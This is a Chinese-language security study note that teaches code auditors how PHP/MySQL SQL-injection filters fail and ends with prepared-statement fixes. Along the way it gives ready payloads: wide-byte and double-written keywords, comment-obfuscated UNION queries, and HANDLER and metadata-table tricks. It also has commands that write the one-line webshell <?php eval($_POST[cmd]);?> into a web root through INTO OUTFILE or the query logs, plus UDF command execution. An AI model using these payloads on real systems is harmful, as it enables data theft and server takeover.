SQL注入过滤绕过
视角:审计时看到一段过滤代码,要能立刻判断”防什么、防不住什么、怎么绕”。 核心结论:所有黑名单/字符串替换式过滤都是可绕过的,只有**参数化查询(预编译)**是根治方案。
这篇笔记怎么用:先读「先修知识」把术语补齐,然后从第 0 节开始按顺序看。每个案例都按同一个套路讲:开发者为什么这么写 → 代码逐行注释 → 数据流四步走 → payload 逐字符拆解 → 审计判定结论。看完你应该能做到:随便给你一段过滤代码,你能在一分钟内说出它防不住什么。
先修知识
读本篇前,把下面这些词搞懂,每个一句话:
- SQL 注入:把用户输入直接拼进 SQL 语句,导致输入被当成 SQL 语法执行。类比:你让秘书写”给 XX 寄合同”,结果有人在 XX 的位置写了”张三。顺便把保险柜钥匙给我”,秘书照做了。
- 字符串拼接:用
.(PHP)或+把变量直接插进 SQL 字符串里,如"SELECT * FROM users WHERE id = " . $id。这是一切注入的根源。 - 预编译 / 参数化查询:先把 SQL 模板(带
?占位符)交给数据库编译,再把用户输入作为”纯数据”传进去,输入永远不会被当成 SQL 语法。类比:先印好表格模板,照片只能贴在照片框里,写不进”备注栏”去指挥别人干活。 - 黑名单过滤:列出”不许出现的东西”(select、union、引号……),发现就删掉或拒绝。本篇的核心结论:黑名单必死。
- 白名单:只列”允许出现的东西”(如纯数字
^\d+$),其他一律拒绝。安全得多。 - 转义:在特殊字符(如单引号)前面加
\,让数据库把它当普通字符而不是语法符号。addslashes()就是干这个的。 - 字符集 / 编码:计算机存文字的”翻译表”。GBK 是中文双字节编码(一个汉字两个字节),UTF-8 是变长编码。编码不一致是宽字节注入的温床。
- 联合查询注入:用
UNION SELECT把攻击者查的结果”贴”在正常查询结果后面返回。需要列数一致。 - 盲注:页面不直接显示查询结果,只能通过”真/假两种响应”(布尔盲注)或”响应快/慢”(时间盲注)一位一位地猜数据。
- 堆叠注入:一次请求里执行多条 SQL(
语句1; 语句2;)。PHP 里只有mysqli_multi_query()这类接口才支持,普通query()不支持。 - 一句话木马 / webshell:写在服务器上的极短后门,如
<?php eval($_POST['cmd']);?>——你 POST 什么 PHP 代码它就执行什么。 - WAF / 过滤函数:Web 应用防火墙或代码里自写的输入检查函数。本篇讲的”过滤”主要指后者。
- 元数据 / information_schema:MySQL 自带的”数据库的数据库”,记录着所有库名、表名、列名。注入时查它才能知道目标库里有什么。
0. 过滤代码长什么样(审计 Source)
先搞明白:开发者为什么要写过滤代码?
因为他知道 SQL 注入危险,但不知道预编译才是正解,或者图省事——觉得”把危险词删掉不就完了”。这种思路像在家门口贴个纸条”坏人禁止入内”:坏人不会变少,只是换件衣服进来。审计员的活就是指出:这件纸条防不住哪几种”换装”。
审计第一步:定位这几类危险模式
下面这段代码把四种最典型的”防了但没防住”写法凑齐了。每一行我都标了它的问题:
<?php
// ❌ 危险写法 1:str_replace 黑名单替换(最常见)
// 把 select/union/and/or 替换成空字符串。问题:只替换一次,可以"双写"绕过
$id = str_replace(['select', 'union', 'and', 'or'], '', $_GET['id']);
// ❌ 危险写法 2:preg_replace 正则单次替换
// 和写法 1 同病:替换只发生一次,且 /i 只解决大小写,解决不了嵌套
$sql = preg_replace('/select|union|sleep/i', '', $_GET['id']);
// ❌ 危险写法 3:addslashes / 手工转义单引号
// addslashes 只给 4 个字符加反斜杠:' " \ NULL
// 对数字型注入完全无效;在 GBK 编码下还有宽字节绕过(第 1 节细讲)
$name = addslashes($_GET['name']);
$name = str_replace("'", "\\'", $_GET['name']); // 手工版 addslashes,同样的问题
// ❌ 危险写法 4:自定义 waf 函数,只拦了几个关键字
// 关键字清单永远列不全:benchmark、handler、/*!*/ 注释……都能绕
function waf($s) {
if (preg_match('/union|select|information_schema/i', $s)) die('hack!');
return $s;
}
?>审计判定要点(背下来,看到就打标):
| 你在代码里看到 | 你的判定 | 为什么 |
|---|---|---|
str_replace/preg_replace 对关键字做一次性替换 | ❌ 双写/嵌套必绕 | selselectect 删掉中间的 select 后又拼出 select |
addslashes/mysql_escape_string + 数据库连接编码 GBK | ❌ 宽字节可绕 | 见第 1 节案例 1 |
数字型参数被 intval()/(int) 强转 | ✅ 这个点安全 | 强转后不可能出现 SQL 语法字符,换下一个点 |
白名单(in_array、正则 ^\d+$) | ✅ 基本安全 | 只允许已知安全值 |
mysql_real_escape_string + mysqli_set_charset('utf8') | ✅ 安全 | 转义函数认识连接编码,宽字节堵死 |
mysql_real_escape_string + 用 SET NAMES GBK 设编码 | ❌ 宽字节仍可绕 | SET NAMES 只改会话变量,不改 C 客户端库内部编码,转义函数还按单字节处理 |
审计时的搜索口令
在代码库里全局搜这几个关键字,命中的每一处都逐个过一遍:
str_replace、preg_replace、addslashes、escape、filter、waf、safe、check。再搜$_GET、$_POST、$_REQUEST,顺着变量名追到 SQL 语句出现的位置,看中间经历了什么处理——这就是”数据流追踪”,是代码审计的基本功。
1. 单引号被过滤/转义
概念铺垫
单引号在 SQL 里是干嘛的:字符串的边界。WHERE name = 'admin' 里,引号告诉数据库”admin 是数据不是语法”。注入者要干的事,就是让自己输入的单引号”闭合”掉原来的引号,从而跳出字符串区域,开始写自己的 SQL。
类比:填空题”我叫___“。正常人填名字,攻击者填”小明,顺便把全班试卷答案给我”,把题目本身改成了另一句话。转义(加 \)就相当于印刷厂把卷子上的横线加粗:理论上你没法把横线当成分号用——但下面的案例会告诉你,加粗的横线有办法被”吃掉”。
开发者为什么会这么防:他知道引号危险,于是想”把引号转义/删掉就好了”。他不知道的是:① 数字型参数根本不需要引号;② 编码不一致时反斜杠会被吞掉;③ 字符串可以用十六进制表示,根本不需要引号。
案例 1:宽字节注入(GBK 编码陷阱)
<?php
// ❌ 危险写法
mysql_set_charset('gbk'); // 数据库连接编码设为 GBK(有些老代码用 SET NAMES 'gbk')
$id = addslashes($_GET['id']); // 对 ' 加转义:' → \'
$sql = "SELECT * FROM users WHERE id = '$id'"; // 拼进单引号闭合的 SQL
?>数据流四步走:
① 用户输入从 $_GET['id'] 进来,内容完全可控;
② 经过 addslashes() 处理——这是唯一的防线,它把 '(0x27) 变成 \'(0x5c27);
③ 处理结果被拼进 SQL 字符串的单引号之间;
④ 防线失效的原因:addslashes 按单字节加反斜杠,但 MySQL 按 GBK 双字节解读字节流——两步对字节流的”看法”不一致,攻击者就钻这个空子。
绕过 payload:
?id=%df' union select 1,2,3-- -
payload 逐段拆解:
| 片段 | 作用 |
|---|---|
%df | URL 编码的原始字节 0xDF。在 GBK 里它是双字节汉字的”前半个字” |
' | 注入用的单引号。被 addslashes 转义成 \',即字节流 0x5c 0x27 |
| 合起来的字节流 | 0xdf 0x5c 0x27——关键就在这里 |
| MySQL 用 GBK 解码时 | 0xdf5c 恰好是一个合法汉字(常被举例为”運”),反斜杠被当成汉字的下半截”吃掉”了 |
剩下的 0x27 | 一个干干净净、没有转义的单引号 → 闭合成功,逃逸出字符串 |
union select 1,2,3 | 逃逸后接的联合查询 |
-- - | MySQL 注释,-- 后面必须跟一个空白字符才生效,所以写成 -- -(第二个 - 是为了保证空格存在、防止 URL 处理把尾部空格吃掉)。作用:注释掉原 SQL 里剩余的 ',避免语法错误 |
审计时怎么找:全局搜 gbk|gb2312|big5,再搜 addslashes|escape,两个在同一文件(或同一数据流)里共现 = 高危宽字节注入点。再确认一下参数在 SQL 里被单引号包裹(不被包裹的话连宽字节都不需要,直接数字型注入)。
修复:SET character_set_client = binary,或 mysqli_set_charset('utf8mb4') 并弃用 GBK 全家。
条件核查(面试爱问)
宽字节利用需要:① MySQL 客户端编码(
character_set_client)是 GBK/GB2312/BIG5 这类双字节编码;② 转义函数只会加\。还要注意SET NAMES gbk和mysql_set_charset('gbk')的区别:后者会同步 C 客户端库的内部编码,让mysql_real_escape_string认识 GBK、按双字节边界转义,从而免疫宽字节;而SET NAMES只改会话变量、不改库内部编码 → 转义函数仍按单字节干活 → 仍可绕。审计时看到SET NAMES+ GBK 就直接判定有问题。
案例 2:数字型注入根本不需要引号
<?php
// ❌ 危险写法:只防了引号,参数本身没强转成数字
$id = str_replace("'", '', $_GET['id']); // 删掉所有单引号
$sql = "SELECT * FROM users WHERE id = $id"; // 注意:$id 外面没有引号!
?>数据流:① $_GET['id'] 进来 → ② 单引号被删光(唯一防线)→ ③ 裸拼进 SQL,没有引号包裹 → ④ 防线失效:数字型参数位置本来就不需要引号来闭合,过滤引号防了个寂寞。
绕过 payload:
?id=1 union select 1,2,3
逐段拆解:1 闭合原来的查询条件;空格分隔;union select 1,2,3 直接跟上联合查询——全程没有一个引号,过滤代码无从发力。
审计结论:过滤单引号对数字型参数完全无效。审计时的检查动作:找到拼接点后,先看变量在 SQL 里有没有被引号包住。没包住的数字型参数,唯一的正确防护是 intval()/(int) 强转;看到”过滤引号 + 无引号拼接”的组合直接报漏洞。
案例 3:引号没了,字符串照样写(编码思路)
假设场景:' 被拦死,参数又被引号包裹,宽字节也用不了。还能注吗?能——字符串不一定非要用引号写出来。
-- 原语句:select * from users where name = 'admin'
-- 等价写法:十六进制字面量
select * from users where name = 0x61646d696e逐段拆解 0x61646d696e:
| 片段 | 含义 |
|---|---|
0x | MySQL 十六进制字面量的前缀,告诉数据库”后面是十六进制字节” |
61 64 6d 69 6e | 逐字节翻译:61=‘a’,64=‘d’,6d=‘m’,69=‘i’,6e=‘n’ → 拼起来就是 admin |
同理还有 char() 函数路线:char(97,100,109) 用 ASCII 码拼出 adm(97=‘a’,100=‘d’,109=‘m’)。注意 char() 参数里有逗号,如果逗号也被过滤就走不通,第 2 节讲对策。
审计结论:过滤引号只是提高了构造 payload 的难度,并不能阻止字符串的表示。只要注入点成立,引号过滤挡不住数据外泄。
2. 逗号被过滤
概念铺垫
逗号在 SQL 里负责分隔:substr(str,1,1) 的三个参数、limit 9,1 的偏移和条数、union select 1,2,3 的三列。开发者看到注入 payload 里全是逗号,就拍脑袋”把逗号删了”,这是典型的格式黑名单思维——他不知道 MySQL 语法非常灵活,几乎所有含逗号的写法都有无逗号的等价形式。
<?php
// ❌ 危险写法
$id = str_replace(',', '', $_GET['id']); // 删掉所有逗号
$sql = "SELECT * FROM news WHERE id = $id"; // 数字型拼接
?>数据流:① 输入进来 → ② 逗号被删(唯一防线)→ ③ 拼进 SQL → ④ 防线失效:攻击者把 payload 全部改写成无逗号语法,过滤形同虚设。
绕过 payload 对照表(左边是你想用的,右边是逗号被删后的等价写法):
| 原语句 | 无逗号等价写法 | 原理说明 |
|---|---|---|
substr(database(),1,1) | substr(database() from 1 for 1) | MySQL 给 substr/mid/left 家族提供了 from ... for ... 的替代语法,from 后是起始位置,for 后是长度 |
limit 9,1 | limit 1 offset 9 | limit 9,1 含义是”跳过 9 条取 1 条”;改写成 limit 条数 offset 跳过数,注意两个数字位置对调 |
union select 1,2,3 | union select * from (select 1)a join (select 2)b join (select 3)c | 用 JOIN 把多个单列子查询横向拼起来,等效于一行三列 |
盲注逐位比较 ascii(substr(...,i,1))>n | case when substr(user from 1 for 1)='a' then 1 else 0 end | 盲注逻辑改用 case when 表达,配合 from ... for 版 substr,全程零逗号 |
经典联合查询替代,逐段拆解:
select * from (select 1)a join (select 2)b;| 片段 | 作用 |
|---|---|
(select 1)a | 子查询产生一行一列(值是 1),a 是给这个临时表起的别名(MySQL 强制要求子查询有别名) |
join | 把两个临时表横向拼接 |
(select 2)b | 第二个临时表,值是 2 |
| 整体效果 | 得到一行两列 (1, 2),等效于 select 1,2 但没用一个逗号 |
顺手修一个常见错误认知
有笔记写”逗号被过滤时
left(str,1)可继续用,因为它只有一个逗号”——这是错的。str_replace(',', '', ...)会删掉 payload 里所有逗号,left(user,1)会变成left(user1)直接报语法错误。逗号全删场景下,任何含逗号的函数都死,mid(user from 1 for 1)才是活路。
审计结论:看到 str_replace(',', ...) 或正则删逗号,直接判定无效防护,PoC 用 from ... for 版 substr 或 JOIN 联合查询即可。
3. 空格被过滤
概念铺垫
空格是 SQL 里最常见的分隔符(union select 中间那个)。开发者的朴素想法:“没空格你怎么写语句?“——他不知道的是,MySQL 认可的”空白”远不止 ASCII 空格(0x20),注释和括号也能当分隔符用。这就像门卫只查”没穿校服的不许进”,结果别人戴个帽子就混进去了。
<?php
// ❌ 危险写法
$id = str_replace(' ', '', $_GET['id']); // 只删 ASCII 空格 0x20
$sql = "SELECT * FROM users WHERE id = $id";
?>数据流:① 输入进来 → ② 空格被删(唯一防线)→ ③ 拼进 SQL → ④ 防线失效:换 MySQL 认可的其他分隔符即可。
绕过 payload 对照:
| 技术 | payload 片段 | 说明 |
|---|---|---|
| 内联注释 | union/**/select/**/1,2,3 | /**/ 是 MySQL 注释,解析时被当成一个”空白”,等价于空格。最常用 |
| 换行/回车 | union%0aselect%0a1,2,3 | %09(TAB)、%0a(换行)、%0c(换页)、%0d(回车) 都是 MySQL 认可的空白字符 |
| 特殊空白 | union%a0select%a01,2,3 | %a0(不间断空格)在部分 MySQL 版本/字符集下被当空白,视环境而定,当作备用手段 |
| 括号包裹 | union(select(1),2,3) | select(...)、from(...) 的括号天然形成语法边界,紧邻处不需要空格 |
| 反引号 | select`user`from`users` | 反引号包裹的表名/列名自带边界,紧邻关键字时可以省掉空格 |
重点拆解 union/**/select/**/1,2,3:
| 片段 | 作用 |
|---|---|
union | 联合查询关键字 |
/**/ | MySQL 块注释,里面没内容,解析时整个被当空白丢弃 → 效果就是一个空格 |
select | 因为前面的 /**/ 已经和 union 分开了,语法成立 |
后面的 /**/ | 同理分隔 select 和列清单 |
审计结论:只过滤 ASCII 空格(0x20)必然漏掉 MySQL 认可的其余空白字符(0x09~0x0d 等)和注释、括号等语法分隔手段。审计看到过滤空格的代码,顺手再检查一下它是否同时过滤了 /**/、%0a 这类输入——99% 不会。正确做法仍然是:不要过滤,用预编译。
4. 关键字过滤(select / union / sleep / into outfile / in)
概念铺垫
这是黑名单思路的”终极形态”:开发者把注入 payload 里常见的英文单词列个清单,见到就删。思路本身有两个致命伤:① 清单永远列不全(MySQL 的等价函数和语法太多);② 一次性替换可以被”双写”还原。本节是全文的重点,面试也最爱问。
<?php
// ❌ 危险写法:一次性替换关键字
$kw = ['select', 'union', 'sleep', 'outfile', 'in'];
$id = str_ireplace($kw, '', $_GET['id']); // 不分大小写地删一遍
$sql = "SELECT * FROM users WHERE id = $id";
?>数据流:① 输入进来 → ② 黑名单里的词被删掉一遍(唯一防线)→ ③ 拼进 SQL → ④ 防线失效:删一遍不代表删干净,删完后的残余字符可能重新拼出关键字。
顺带一提:黑名单还会误伤正常业务
上面清单里的
'in'会把正常单词里的字母组合也删掉——用户搜 “select” 相关词、甚至搜 “login”(含 “in”)都会被改得面目全非。审计报告里可以把这个当”附赠证据”:这种过滤不但防不住攻击,还破坏正常功能,两头不讨好。
绕过 payload 对照:
| 被过滤关键字 | 绕过手法 | payload 片段 | 原理 |
|---|---|---|---|
| select | 大小写混淆 | sELecT | MySQL 关键字大小写不敏感,但只匹配小写的过滤器会被绕过(上例用了 str_ireplace 所以这条对它无效,对非 i 模式的正则有效) |
| select | 双写/嵌套 | selselectect | 过滤器删掉中间的 select 后,剩下的 sel + ect 恰好拼回 select。一次性替换的死穴 |
| select | 可执行注释 | /*!50000select*/ | MySQL 专有的版本化注释:50000 表示”版本 ≥ 5.0.0 时把注释内容当 SQL 执行”;不带版本号的 /*!select*/ 无条件执行 |
| sleep | 等价延时函数 | benchmark(50000000,md5(1)) | 让 MySQL 把 md5(1) 算 5000 万次,纯 CPU 耗时实现时间盲注 |
| sleep | 笛卡尔积重查询 | select count(*) from information_schema.columns a,information_schema.columns b,information_schema.columns c | 三份大表做笛卡尔积,行数爆炸,视库大小延数秒 |
| sleep | 大正则 | (select 'a' rlike '(.*){30}.*') | 正则回溯造成 ReDoS 式延时;MySQL 5.5+ 换了正则引擎后效果大减,视版本而定 |
| into outfile | 日志写 shell | general_log / slow_query_log 方案 | 见第 6 节,日志文件路径是运行时变量,不受 secure_file_priv 限制 |
| in | 换比较方式 | where id=1、between、like、or 链 | 多数 in 场景都能改写 |
拆解 /*!50000select*/:
| 片段 | 作用 |
|---|---|
/*! | MySQL 可执行注释的开头标记——普通注释是 /*,多个 ! 就变身成”只有 MySQL 才执行的特殊注释” |
50000 | 5 位版本号:50000 = 5.0.0,80001 = 8.0.1。含义”MySQL 版本 ≥ 此值时才执行注释内容” |
select | 要执行的真正的 SQL 内容 |
*/ | 注释收尾 |
拆解双写 selselectect(针对一次性替换):
原始 payload: s e l s e l e c t e c t
过滤器找到: [s e l e c t] ← 匹配到中间这段,删掉
删除后剩余: s e l + e c t = s e l e c t ← 重新拼出了 select!
HANDLER 读表(select 被彻底拦截时的终极替代,MySQL 5.0+):
handler users open; -- 打开 users 表,获得一个句柄
handler users read `first`; -- 读第一行
handler users read `next`; -- 读下一行,连续调用可遍历全表
handler users close; -- 关闭句柄HANDLER 是 MySQL 的底层表访问接口,绕过了 SQL 层——所以不经过 select 关键字,也不做权限校验。
HANDLER 的条件
HANDLER 的多条语句必须跑在同一条数据库连接里(打开句柄的连接要是读数据的那条)。所以实战里它依赖堆叠注入(如 PHP 用
mysqli_multi_query执行多语句)才可用。审计时搜multi_query、->exec之类看应用是否允许一次执行多条 SQL,允许则 HANDLER 路线成立。
审计结论:关键字黑名单在 MySQL 的语法弹性(大小写不敏感、可执行注释、等价函数、HANDLER)面前全部失效。看到任何”替换/拦截关键字”的过滤函数,判定无效防护;写报告时挑 /*!*/ 和双写两个点做 PoC 即可。
5. information_schema 被过滤
概念铺垫
information_schema 是 MySQL 自带的”数据库的数据库”,里面的 tables、columns 表记录着所有库、表、列的名字。注入时你想知道”目标库里有什么表、表里有什么列”,标准答案就是查它。开发者因此把它加进黑名单——但他不知道 MySQL 5.6+/5.7+ 自带了好几张**“影子元数据表”**,里面躺着同样的信息。
<?php
// ❌ 危险写法
if (stripos($id, 'information_schema') !== false) die('hack');
$sql = "SELECT * FROM users WHERE id = $id";
?>数据流:① 输入进来 → ② 含 information_schema 字样就 die(唯一防线)→ ③ 否则拼进 SQL → ④ 防线失效:元数据又不是只有这一个入口。
影子元数据表一览:
| 替代表 | 条件 | 能拿到什么 |
|---|---|---|
mysql.innodb_table_stats | MySQL 5.6+,目标表是 InnoDB 引擎 | 库名.表名 |
mysql.innodb_index_stats | MySQL 5.6+ | 库名.表名(还有索引名) |
sys.schema_auto_increment_columns | MySQL 5.7+(sys 库默认自带) | 有自增列的表名 + 列名 |
sys.schema_table_statistics_with_buffer / sys.x$schema_table_statistics | MySQL 5.7+ | 被查询过的表名(依赖使用痕迹,新表可能查不到) |
sys.x$schema_flattened_keys | MySQL 5.7+ | 表名 + 索引涉及的列名 |
payload 示例:
union select 1,group_concat(table_name),3 from mysql.innodb_table_stats where database_name=database()逐段拆解:
| 片段 | 作用 |
|---|---|
union select 1,...,3 | 联合查询,列数和原查询对齐(这里假设 3 列) |
group_concat(table_name) | 把所有行里的表名拼成一个逗号分隔的字符串一次性带出来(注入时常用,省得一行一行翻) |
from mysql.innodb_table_stats | 从影子元数据表查,绕开 information_schema 黑名单 |
where database_name=database() | database() 返回当前库名,只取当前库的表 |
无列名注入(连列名都拿不到时)
假设影子表也拿不到列名(比如目标表没索引、没自增列),还能把数据注出来吗?能,两种经典技巧。
技巧 A:反引号数字别名
-- 场景:目标表 users(id, username, password),想取第 2 列但不知道列名
select `2` from (select 1,2,3 union select * from users)x limit 1,1;逐段拆解:
| 片段 | 作用 |
|---|---|
select 1,2,3 union select * from users | 子查询前半段产生列名分别为 1、2、3 的一行;union 把 users 的真实数据贴在后面(列名沿用前半段的 1,2,3) |
(...)x | 整个子查询当临时表,别名 x。此时这个临时表的列名就是 1、2、3——我们亲手”命名”了不知道的列 |
select \2“ | 用反引号引用名为 2 的列,即原表的第 2 列 |
limit 1,1 | 跳过第一行(那是我们自己造的 1,2,3),取第二行,即 users 的第一条真实数据 |
技巧 B:join … using 同名列
select * from (select 1,2,3)a join (select 1,2,3)b using(2);using(2) 指定两个表按”同名列 2”做等值连接。配合子查询投影可以把第 N 列的数据暴露出来,同样不需要知道真实列名。
别名技巧的副产品:报错反推列名
技巧 A 里如果子查询出现重复列名会报
Duplicate column name 'xxx'。这个报错本身就能当情报用:select * from (select * from users a join users b using(id))x会依次报出不同的列名,反复构造就能逐个推出全部列——报错信息也是数据出口。
审计结论:information_schema 只是元数据入口之一。审计时看到只拦截 information_schema 而没拦 mysql.、sys. 前缀、堆叠和别名技巧的,判定绕过成立。
6. 写 shell 姿势对比与审计
概念铺垫
SQL 注入的终点往往不是”读数据”,而是”在服务器上留个后门”——写一句话木马(webshell)到 Web 目录,然后用浏览器连上去拿持久控制。MySQL 本身提供了把查询结果导出成服务器文件的能力(into outfile),这就是注入写 shell 的原理。开发者要防,通常只在黑名单里加 outfile——本节告诉你为什么这不够。
写 shell 的前置条件(全部必须满足,审计时逐条核查):
- 数据库用户有
FILE权限(能读写服务器文件的高危权限); secure_file_priv允许写目标目录——这个系统变量管导入导出:NULL=完全禁止;空串=不限制;指定路径=只能写那个路径。MySQL 5.7.6 起官方包默认NULL,但具体值视发行版而定,审计/渗透时都要先查;- Web 目录可写,且物理路径已知。
姿势一:into outfile / into dumpfile
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/shell.php';逐段拆解:
| 片段 | 作用 |
|---|---|
'<?php eval($_POST[cmd]);?>' | 一句话木马本体:eval 把你 POST 过来的 cmd 参数当 PHP 代码执行 |
into outfile | 让 MySQL 把查询结果写进服务器文件 |
'/var/www/html/shell.php' | 目标路径——Web 根目录下的一个 PHP 文件,写完就能通过 HTTP 访问 |
两个导出关键字的区别(面试必考):
| 对比项 | into outfile | into dumpfile |
|---|---|---|
| 输出格式 | 逐行输出,行尾自动加换行符 | 整行原样写出,不附加换行 |
| 特殊字符 | \n、\0 等会被转义处理 | 原样写入(二进制安全) |
| 一次写几行 | 可多行 | 只能导出一行 |
| 适用场景 | 写文本 webshell | 写 UDF 动态链接库(.so/.dll)、需要精确控制文件内容的场景 |
结论:写一句话木马两者皆可;写 UDF 二进制必须用 dumpfile(一个多余换行就能毁掉 ELF/PE 文件头)。
姿势二:general_log / 慢日志写 shell(outfile 被禁后的第一替代)
set global general_log = on; -- 打开全局查询日志
set global general_log_file = '/var/www/html/x.php'; -- 把日志文件指到 Web 目录
select '<?php eval($_POST[cmd]);?>'; -- 这条查询原文会被写进日志文件原理:MySQL 开启 general_log 后会把每一条查询的原文记进日志文件。我们把日志文件路径指到 Web 目录、后缀改成 .php,再发一条内容是一句话木马的查询,木马原文就落盘了。
慢日志同理:
set global slow_query_log = 1;
set global long_query_time = 0; -- 阈值设为 0:所有查询都算"慢查询"
set global slow_query_log_file = '/var/www/html/x.php';
select '<?php eval($_POST[cmd]);?>' from users where sleep(10);为什么这是 outfile 的头号替代:general_log_file / slow_query_log_file 是运行时变量,不受 secure_file_priv 限制——就算 secure_file_priv=NULL 禁掉了 into outfile,日志路线照样能写。
限制(同样要写进审计报告):
- 需要堆叠注入(多语句)或能控制查询上下文——
set global和写木马的查询得先后执行; - 日志里不只有你的木马,还有查询的时间戳等格式信息,webshell 片段中的特殊字符可能被日志格式破坏,实践中要构造让 shell 片段完整落在日志里的 payload。
姿势三:其余替代路线
- UDF 提权:用
dumpfile把编译好的udf.so(Linux)/udf.dll(Windows)写到 MySQL 的plugin目录,然后create function sys_exec returns integer soname 'udf.so'注册自定义函数,之后select sys_exec('cmd')就能执行系统命令。需要 FILE 权限 + plugin 目录可写。 - 写 SSH 公钥 / crontab / 自启脚本:仅当 MySQL 以 root 等高权限账户运行、且目标路径可写时可行。
- 写配置文件:如 PHP 的
.user.ini(配合 auto_prepend_file 包含链)。
审计结论:审计”写 shell 防护”代码时,只查有没有拦 outfile 是远远不够的——还要核查 secure_file_priv 配置值、general_log/slow_query_log 运行时变量的可改性、是否存在堆叠注入、MySQL 进程的运行账户权限。只拦关键字的过滤代码一律判定无效。
7. GPC / addslashes 家族的原理与绕过
概念铺垫
GPC 是什么:PHP 早期的”自动转义”特性 magic_quotes_gpc——开启后,所有 GET/POST/COOKIE 输入里的 '、"、\、NULL 会被自动加上 \。相当于 PHP 给所有输入”统一过一遍 addslashes”。PHP 5.4 已经把这个特性整个删掉了(因为它制造了大量安全假象),但现代代码里手工调用 addslashes() 或框架自写转义函数的,思路一模一样,病也一模一样。
<?php
// ❌ 危险写法:自以为开了 GPC 就安全
$name = $_GET['name']; // magic_quotes_gpc=On 时,输入里的 ' 已自动变成 \'
$sql = "SELECT * FROM users WHERE name = '$name'";
?>三大绕过路线:
路线 1:宽字节。见第 1 节案例 1。GBK 连接编码 + 转义函数 = %df' 逃逸,对 GPC 和手工 addslashes 一视同仁。
路线 2:数组传参。很多自写过滤函数只考虑了”输入是字符串”的情况:
<?php
// ❌ 危险写法:对数组输入失效
function check($v){ return addslashes($v); } // 假设 $v 一定是字符串
$id = check($_GET['id']); // 传 ?id[]=1 时,$_GET['id'] 是数组,addslashes 直接收到数组
?>数据流与失效原因:① 攻击者传 ?id[]=1&id[]=2,PHP 会把 $_GET['id'] 组装成数组而不是字符串 → ② addslashes() 收到数组:PHP 5/7 下报警告并返回 NULL,PHP 8 下直接抛 TypeError → ③ 后续代码如果缺 is_array 判断,NULL 或原始数组会流入拼接逻辑 → ④ 更隐蔽的是键名注入:$_GET 的 key 本身也是用户可控的(?a'-- =1),而自写过滤器几乎没人过滤键名。
审计动作:全局搜 addslashes|htmlspecialchars|trim 直接作用于 $_GET/$_POST/$_REQUEST 而前面没有 is_array 检查的代码;再检查代码里有没有把 $_GET 的键名拿去拼接的地方。
路线 3:二次注入(二阶注入)。最反直觉的一种,重点理解:
<?php
// ❌ 危险写法:入库转义,出库裸拼
$name = addslashes($_GET['name']); // 用户注册时输入: admin' --
$sql = "INSERT INTO users(name, pass) VALUES('$name', '...')"; // 转义后安全入库
// 关键:转义只影响 SQL 解析过程,真正存进数据库字段的是原始值 admin' --
// (\' 只是"告诉 SQL 解析器这是普通引号",落盘时反斜杠不存在)
// ... 几天后,用户改密码:
$old = $row['name']; // 从库里取出 admin' -- (无转义!)
$sql2 = "UPDATE users SET pass='$new' WHERE name='$old'"; // ❌ 引号原样拼进去,注入成立
?>数据流四步走:
① 恶意输入 admin' -- 在注册环节进入,被 addslashes 转义;
② 第一条 INSERT 安全执行——但存进数据库的是脱去反斜杠的原始值 admin' -- ;
③ 在改密码环节,程序从库里读出这个值,天真地相信”库里的数据是干净的”,没再转义就拼进第二条 UPDATE;
④ 防线失效的原因:转义只对”那一次 SQL 解析”有效,不是对数据本身的永久消毒。出库后的数据和用户刚输入的一样毒。
类比:入库转义像过安检时给危险品贴了张”已检查”的封条,封条在入库那一刻就撕掉了;出库时仓库管理员看东西在库里,以为它是安全的,直接拆包使用。
审计结论:看到转义函数后必须追踪数据的完整生命周期:入库前转义 ≠ 出库后安全。审计方法:搜 UPDATE|INSERT 语句里拼接了从 SELECT 结果取出的字段的代码路径——重点看注册→改资料、发帖→编辑、留言→引用这类”先存后取”的业务流。
8. sqlmap tamper 脚本与绕过类型对照表
概念铺垫
sqlmap 是什么:自动化 SQL 注入工具,能自己探测注入点、枚举数据。tamper 脚本是它的”变形器”——在 payload 发出去之前,按规则改写 payload(比如把空格换成 /**/),专门用来绕过过滤/WAF。对审计员来说,tamper 清单就是一张**“过滤绕过手法 cheat sheet”**:审计一段过滤代码时,对着这张表逐一脑测”这段代码能防住哪一个”,防不住的就是漏洞路径。
| tamper 脚本 | 作用 | 针对的过滤类型 |
|---|---|---|
space2comment | 空格 → /**/ | 空格过滤 |
space2plus / space2randomblank | 空格 → + / 随机空白(%09 等) | 空格过滤 |
randomcase | 随机大小写 SeLeCt | 大小写敏感的关键字匹配 |
between | > → BETWEEN x AND y | 比较符过滤 |
equaltolike | = → LIKE | 等号过滤 |
greatest | > → GREATEST(a,b) 比较 | 比较符过滤 |
charunicodeescape | 字符串 → unicode 转义 | 关键字/引号过滤(部分场景) |
apostrophemask | ' → UTF-8 全角 %ef%bc%87 | 单引号过滤(某些解析链路) |
unmagicquotes | 宽字节 %df' + 注释闭合 | addslashes/GPC(GBK 场景) |
versionedkeywords | 关键字 → /*!50000select*/ | MySQL 关键字黑名单 |
halfversionedmorekeywords | 关键字 → /*!0select 前缀形式 | MySQL 关键字黑名单 |
multiplespaces | 空格 → 多个空格 | 只替换单个空格的低质量过滤 |
base64encode | 整体 base64(配合服务端会解码的参数) | 特定业务解码入口 |
ifnull2ifisnull | IFNULL → IF(ISNULL()) | 函数名黑名单 |
用法:sqlmap -u "http://t/?id=1" --tamper=space2comment,randomcase --level=3(多个 tamper 用逗号串起来,按顺序变形)。
审计结论:这张表也是自查清单——你审计的过滤函数能防住表里几行?防不住的那些,就是可以写进报告的漏洞路径。
9. 防御与修复(审计建议)
概念铺垫
讲了这么多绕过,收个尾:什么才是真防御?一句话——让数据永远不可能变成语法。过滤是”赌我想到所有坏写法”,预编译是”从机制上堵死数据和语法混用的可能”。类比:过滤像保安背坏人长相,预编译像把访客区和金库修成物理隔离的两栋楼。
<?php
// ✅ 安全写法 1:PDO 预编译(真预编译)
$pdo = new PDO($dsn, $user, $pass, [
PDO::ATTR_EMULATE_PREPARES => false, // 关键:关闭模拟预编译,让 MySQL 原生预编译接管
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$pdo->exec("SET NAMES utf8mb4");
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? AND name = ?"); // 模板先编译
$stmt->execute([$_GET['id'], $_GET['name']]); // 输入只作为数据传入,永远进不了语法层
// ✅ 安全写法 2:数字型强转
$id = intval($_GET['id']); // 强转后只剩纯数字,不可能含 SQL 语法
$sql = "SELECT * FROM users WHERE id = $id";
// ✅ 安全写法 3:白名单(排序字段、表名等无法预编译的位置)
